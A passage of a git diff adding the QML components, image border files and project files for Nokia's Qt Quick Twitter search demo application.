+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ id:container
+ width: 220
+ height: 28
+ BorderImage { source: "images/lineedit.sci"; anchors.fill: parent }
+ signal accepted
+ property alias text: input.text
+ property alias item:input
+ TextInput{
+ id: input
+ width: parent.width - 12
+ anchors.centerIn: parent
+ maximumLength:21
+ font.pixelSize: 16;
+ font.bold: true
+ color: "#151515"; selectionColor: "mediumseagreen"
+ focus: true
+ onAccepted:{container.accepted()}
+ text: ""
+ selectByMouse: true
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/Loading.qml
new file mode 100644
index 00000000..65d888fb
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/Loading.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: loading; source: "images/loading.png"
+ NumberAnimation on rotation {
+ from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/MultiTitleBar.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/MultiTitleBar.qml
new file mode 100644
index 00000000..d5b2aae8
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/MultiTitleBar.qml
@@ -0,0 +1,60 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ TitleBar { id: titleBar; width: parent.width; height: 60;
+ y: -80
+ untaggedString: "Latest tweets from everyone"
+ taggedString: "Latest tweets from "
+ }
+ states: [
+ State {
+ name: "search"; when: screen.state!="search"
+ PropertyChanges { target: titleBar; y: 0 }
+ }
+ ]
+ transitions: [
+ Transition { NumberAnimation { properties: "x,y"; duration: 500; easing.type: Easing.InOutQuad } }
+ ]
+}
+
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/RssModel.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/RssModel.qml
new file mode 100644
index 00000000..c512df31
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/RssModel.qml
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item { id: wrapper
+ property variant model: xmlModel
+ property string from : ""
+ property string to : ""
+ property string phrase : ""
+
+ property string mode : "everyone"
+ property int status: xmlModel.status
+ function reload() { xmlModel.reload(); }
+ XmlListModel {
+ id: xmlModel
+
+ source: (from=="" && to=="" && phrase=="") ? "" :
+ 'http://search.twitter.com/search.atom?from='+from+"&to="+to+"&phrase="+phrase
+
+ namespaceDeclarations: "declare default element namespace 'http://www.w3.org/2005/Atom'; " +
+ "declare namespace twitter=\"http://api.twitter.com/\";";
+
+ query: "/feed/entry"
+
+ XmlRole { name: "statusText"; query: "content/string()" }
+ XmlRole { name: "timestamp"; query: "published/string()" }
+ XmlRole { name: "source"; query: "twitter:source/string()" }
+ XmlRole { name: "name"; query: "author/name/string()" }
+ XmlRole { name: "userImage"; query: "link[@rel = 'image']/@href/string()" }
+
+ }
+ Binding {
+ property: "mode"
+ target: wrapper
+ value: {if(wrapper.tags==''){"everyone";}else if(wrapper.tags=='my timeline'){"self";}else{"user";}}
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/SearchView.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/SearchView.qml
new file mode 100644
index 00000000..5bc209f6
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/SearchView.qml
@@ -0,0 +1,124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+FocusScope {
+ id: wrapper
+ Column {
+ anchors.centerIn: parent
+ spacing: 20
+ Column{
+ spacing: 4
+ Text {
+ text: "Posted by:"
+ font.pixelSize: 16; font.bold: true; color: "white"; style: Text.Raised; styleColor: "black"
+ horizontalAlignment: Qt.AlignRight
+ }
+ Input{
+ id: fromIn
+ KeyNavigation.backtab: searchbutton
+ KeyNavigation.tab:toIn
+ onAccepted:searchbutton.doSearch();
+ focus: true
+ }
+ Text {
+ text: "In reply to:"
+ font.pixelSize: 16; font.bold: true; color: "white"; style: Text.Raised; styleColor: "black"
+ horizontalAlignment: Qt.AlignRight
+ }
+ Input{
+ id: toIn
+ KeyNavigation.backtab: fromIn
+ KeyNavigation.tab:phraseIn
+ onAccepted:searchbutton.doSearch();
+ }
+ Text {
+ text: "Search phrase:"
+ font.pixelSize: 16; font.bold: true; color: "white"; style: Text.Raised; styleColor: "black"
+ horizontalAlignment: Qt.AlignRight
+ }
+ Input{
+ id: phraseIn
+ KeyNavigation.backtab: toIn
+ KeyNavigation.tab:searchbutton
+ onAccepted:searchbutton.doSearch();
+ text: "Qt Quick"
+ }
+ }
+ Button {
+ width: 100
+ height: 32
+ id: searchbutton
+ keyUsing: true;
+ opacity: 1
+ text: "Search"
+ KeyNavigation.tab: fromIn
+ Keys.onReturnPressed: searchbutton.doSearch();
+ Keys.onEnterPressed: searchbutton.doSearch();
+ Keys.onSelectPressed: searchbutton.doSearch();
+ Keys.onSpacePressed: searchbutton.doSearch();
+ onClicked: searchbutton.doSearch();
+
+ function doSearch() {
+ // Search ! allowed
+ if (wrapper.state=="invalidinput")
+ return;
+
+ rssModel.from=fromIn.text;
+ rssModel.to= toIn.text;
+ rssModel.phrase = phraseIn.text;
+ screen.focus = true;
+ screen.state = ""
+ }
+ }
+ }
+ states:
+ State {
+ name: "invalidinput"
+ when: fromIn.text=="" && toIn.text=="" && phraseIn.text==""
+ PropertyChanges { target: searchbutton ; opacity: 0.6 ; }
+ }
+ transitions:
+ Transition {
+ NumberAnimation { target: searchbutton; property: "opacity"; duration: 200 }
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/TitleBar.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/TitleBar.qml
new file mode 100644
index 00000000..795e8533
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/TitleBar.qml
@@ -0,0 +1,130 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: titleBar
+ property string untaggedString: "Uploads from everyone"
+ property string taggedString: "Recent uploads tagged "
+
+ BorderImage { source: "images/titlebar.sci"; width: parent.width; height: parent.height + 14; y: -7 }
+
+ Item {
+ id: container
+ width: (parent.width * 2) - 55 ; height: parent.height
+
+ function accept() {
+ titleBar.state = ""
+ background.state = ""
+ rssModel.tags = editor.text
+ }
+
+ Item {
+ id:imageBox
+ x: 6; width: 0; height: 50; smooth: true
+ anchors.verticalCenter: parent.verticalCenter
+
+ UserModel { user: rssModel.from; id: userModel }
+ Component {
+ id: imgDelegate;
+ Item {
+ id:imageitem
+ visible:true
+ Loading { width:48; height:48; visible: realImage.status != Image.Ready }
+ Image { id: realImage; source: image; width:48; height:48; opacity:0; }
+ states:
+ State {
+ name: "loaded"
+ when: (realImage.status == Image.Ready)
+ PropertyChanges { target: realImage; opacity:1 }
+ }
+ transitions: Transition {
+ NumberAnimation { target: realImage; property: "opacity"; duration: 200 }
+ }
+ }
+ }
+ ListView { id:view; model: userModel.model; x:1; y:1; delegate: imgDelegate }
+ states:
+ State {
+ when: !userModel.user==""
+ PropertyChanges { target: imageBox; width: 50; }
+ }
+ transitions:
+ Transition {
+ NumberAnimation { target: imageBox; property: "width"; duration: 200 }
+ }
+ }
+
+ Image {
+ id: quitButton
+ x: 5
+ anchors.verticalCenter: parent.verticalCenter
+ source: "images/quit.png"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: Qt.quit()
+ }
+ }
+
+ Text {
+ id: categoryText
+ anchors {
+ left: quitButton.right; right: parent.right; leftMargin: 10; rightMargin: 10
+ verticalCenter: parent.verticalCenter
+ }
+ elide: Text.ElideLeft
+ text: (rssModel.from=="" ? untaggedString : taggedString + rssModel.from)
+ font.bold: true; color: "White"; style: Text.Raised; styleColor: "Black"
+ font.pixelSize: 12
+ }
+ }
+
+ states: State {
+ name: "Tags"
+ PropertyChanges { target: container; x: -tagButton.x + 5 }
+ PropertyChanges { target: editor; focus: true }
+ }
+
+ transitions: Transition {
+ NumberAnimation { properties: "x"; easing.type: Easing.InOutQuad }
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/ToolBar.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/ToolBar.qml
new file mode 100644
index 00000000..b62298e1
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/ToolBar.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: toolbar
+
+ property alias button1Label: button1.text
+ property alias button2Label: button2.text
+ signal button1Clicked
+ signal button2Clicked
+ focus:true
+ BorderImage { source: "images/titlebar.sci"; width: parent.width; height: parent.height + 14; y: -7 }
+ Button {
+ id: button1
+ anchors.left: parent.left; anchors.leftMargin: 5; y: 3; width: 140; height: 32
+ onClicked: toolbar.button1Clicked()
+ focus:true
+ }
+ Button {
+ id: button2
+ anchors.right: parent.right; anchors.rightMargin: 5; y: 3; width: 140; height: 32
+ onClicked: toolbar.button2Clicked()
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/UserModel.qml b/demos/declarative/twitter/qml/twitter/TwitterCore/UserModel.qml
new file mode 100644
index 00000000..a6fb67de
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/UserModel.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//This "model" gets the user information about the searched user. Mainly for the icon.
+
+Item { id: wrapper
+ property variant model: xmlModel
+ property string user : ""
+ property int status: xmlModel.status
+ function reload() { xmlModel.reload(); }
+ XmlListModel {
+ id: xmlModel
+
+ source: user!= "" ? "http://twitter.com/users/show.xml?screen_name="+user : ""
+ query: "/user"
+
+ XmlRole { name: "name"; query: "name/string()" }
+ XmlRole { name: "screenName"; query: "screen_name/string()" }
+ XmlRole { name: "image"; query: "profile_image_url/string()" }
+ XmlRole { name: "location"; query: "location/string()" }
+ XmlRole { name: "description"; query: "description/string()" }
+ XmlRole { name: "followers"; query: "followers_count/string()" }
+ //TODO: Could also get the user's color scheme, timezone and a few other things
+ }
+}
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/gloss.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/gloss.png
new file mode 100644
index 00000000..5d370cd9
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/gloss.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.png
new file mode 100644
index 00000000..2cc38dc3
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.sci b/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.sci
new file mode 100644
index 00000000..054bff78
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/lineedit.sci
@@ -0,0 +1,5 @@
+border.left: 10
+border.top: 10
+border.bottom: 10
+border.right: 10
+source: lineedit.png
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/loading.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/loading.png
new file mode 100644
index 00000000..47a1589c
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/loading.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/quit.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/quit.png
new file mode 100644
index 00000000..5bda1b6e
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/quit.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/stripes.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/stripes.png
new file mode 100644
index 00000000..9f36727e
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/stripes.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.png
new file mode 100644
index 00000000..51c90082
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.sci b/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.sci
new file mode 100644
index 00000000..0418d94c
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/titlebar.sci
@@ -0,0 +1,5 @@
+border.left: 10
+border.top: 12
+border.bottom: 12
+border.right: 10
+source: titlebar.png
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.png b/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.png
new file mode 100644
index 00000000..11310013
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.png
Binary files differ
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.sci b/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.sci
new file mode 100644
index 00000000..9e4f9653
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/images/toolbutton.sci
@@ -0,0 +1,5 @@
+border.left: 15
+border.top: 4
+border.bottom: 4
+border.right: 15
+source: toolbutton.png
diff --git a/demos/declarative/twitter/qml/twitter/TwitterCore/qmldir b/demos/declarative/twitter/qml/twitter/TwitterCore/qmldir
new file mode 100644
index 00000000..84d85c28
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/TwitterCore/qmldir
@@ -0,0 +1,10 @@
+SearchView 1.0 SearchView.qml
+Button 1.0 Button.qml
+Input 1.0 Input.qml
+FatDelegate 1.0 FatDelegate.qml
+Loading 1.0 Loading.qml
+MultiTitleBar 1.0 MultiTitleBar.qml
+TitleBar 1.0 TitleBar.qml
+RssModel 1.0 RssModel.qml
+UserModel 1.0 UserModel.qml
+ToolBar 1.0 ToolBar.qml
diff --git a/demos/declarative/twitter/qml/twitter/twitter.qml b/demos/declarative/twitter/qml/twitter/twitter.qml
new file mode 100644
index 00000000..e4c891c7
--- /dev/null
+++ b/demos/declarative/twitter/qml/twitter/twitter.qml
@@ -0,0 +1,134 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import "TwitterCore" 1.0 as Twitter
+
+Item {
+ id: screen; width: 320; height: 480
+ property bool userView : false
+ property variant tmpStr
+ function setUser(str){hack.running = true; tmpStr = str}
+ function reallySetUser(){rssModel.from = tmpStr;rssModel.to = ""; rssModel.phrase = ""}
+ state:"searchquery"
+ //Workaround for bug 260266
+ Timer{ interval: 1; running: false; repeat: false; onTriggered: screen.reallySetUser(); id:hack }
+ Keys.onEscapePressed: screen.state="searchquery"
+ Keys.onBacktabPressed: screen.state="searchquery"
+ Rectangle {
+ id: background
+ anchors.fill: parent; color: "#343434";
+
+ state:"searchquery"
+ Image { source: "TwitterCore/images/stripes.png"; fillMode: Image.Tile; anchors.fill: parent; opacity: 0.3 }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: screen.focus = false;
+ }
+
+ Twitter.RssModel { id: rssModel }
+ Twitter.Loading { anchors.centerIn: parent; visible: rssModel.status==XmlListModel.Loading && state!='unauthed'}
+ Text {
+ width: 180
+ text: "Could not access twitter using this screen name and password pair.";
+ color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrapMode: Text.WordWrap
+ visible: rssModel.status==XmlListModel.Error; anchors.centerIn: parent
+ }
+
+ Item {
+ id: views
+ x: 2; width: parent.width - 4
+ y:60 //Below the title bars
+ height: parent.height - 100
+
+ Text {
+ id:title
+ text: "Search Twitter"
+ anchors.horizontalCenter: parent.horizontalCenter
+ font.pixelSize: 20; font.bold: true; color: "#bbb"; style: Text.Raised; styleColor: "black"
+ opacity:0
+ }
+
+ Twitter.SearchView{
+ id: searchView
+ anchors.verticalCenter: parent.verticalCenter
+ width: parent.width; height: parent.height-60;
+ x: -(screen.width * 1.5)
+ }
+
+ Twitter.FatDelegate { id: fatDelegate }
+ ListView {
+ id: mainView; model: rssModel.model; delegate: fatDelegate;
+ width: parent.width; height: parent.height; x: 0; cacheBuffer: 100;
+ }
+ }
+
+ Twitter.MultiTitleBar { id: titleBar; width: parent.width }
+ Twitter.ToolBar { id: toolBar; height: 40;
+ //anchors.bottom: parent.bottom;
+ //TODO: Use anchor changes instead of hard coding
+ y: screen.height - 40
+ width: parent.width; opacity: 0.9
+ button1Label: "New Search"
+ button2Label: "Update"
+ onButton1Clicked:
+ {
+ screen.state="searchquery"
+ }
+ onButton2Clicked: rssModel.reload();
+ }
+ }
+ states: [
+ State {
+ name: "searchquery";
+ PropertyChanges { target: searchView; x: 0; focus:true}
+ PropertyChanges { target: mainView; x: -(parent.width * 1.5) }
+ PropertyChanges { target: titleBar; y: -80 }
+ PropertyChanges { target: toolBar; y: screen.height }
+ PropertyChanges { target: toolBar }
+ PropertyChanges { target: title; opacity:1}
+ }
+ ]
+ transitions: [
+ Transition { NumberAnimation { properties: "x,y,opacity"; duration: 500; easing.type: Easing.InOutQuad } }
+ ]
+}
diff --git a/demos/declarative/twitter/twitter.desktop b/demos/declarative/twitter/twitter.desktop
new file mode 100644
index 00000000..5d1b851b
--- /dev/null
+++ b/demos/declarative/twitter/twitter.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=twitter
+Exec=/opt/twitter/bin/twitter
+Icon=twitter64
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/twitter/twitter.pro b/demos/declarative/twitter/twitter.pro
new file mode 100644
index 00000000..91bfd47f
--- /dev/null
+++ b/demos/declarative/twitter/twitter.pro
@@ -0,0 +1,39 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/twitter
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE77B03CA
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_DEMOS]/declarative/twitter
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
